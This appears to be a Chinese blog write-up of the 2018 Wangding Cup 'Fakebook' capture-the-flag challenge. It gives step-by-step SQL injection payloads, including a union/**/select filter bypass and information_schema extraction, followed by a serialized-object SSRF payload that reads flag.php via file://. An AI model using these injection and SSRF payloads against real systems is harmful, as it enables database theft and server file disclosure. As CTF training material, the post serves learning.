Java教程

[网鼎杯 2018]Fakebook

本文主要是介绍[网鼎杯 2018]Fakebook,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

打开链接,出现login和join两个按钮,分别是登录和注册

login尝试一下发现无法登录

进入join进行注册

 

其中blog输入其它字符无法注册

在首页中,发现username可以点击进入

 

 

url的格式为?no=1,可能是SQL注入

判断注入点类型

no=1 and 1=1 #回显正确

no=1 and 1=2 #回显错误

判断列数

no=1 order by 4 #回显正确

no=1 order by 5 #回显错误

判断显示位

no=-1 union select 1,2,3,4 #回显no hack,发现存在过滤,需要绕过union select,no=-1 union/**/select 1,2,3,4 #

 

获取数据库名

构造no=-1 union/**/select 1,database(),3,4 #

 

获取表名

no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' #

 

 

获取列名

no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #

 

获取数据

no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users #

没有得到flag,发现数据库里的数据都是以序列化方式储存

数据中存在我们的博客地址,利用ssrf漏洞读取flag.php。构造序列化的内容,使用file协议读取文件

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

flag{c49d3803-6378-40a3-ac76-1f3f91e3624b}

 

这篇关于[网鼎杯 2018]Fakebook的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!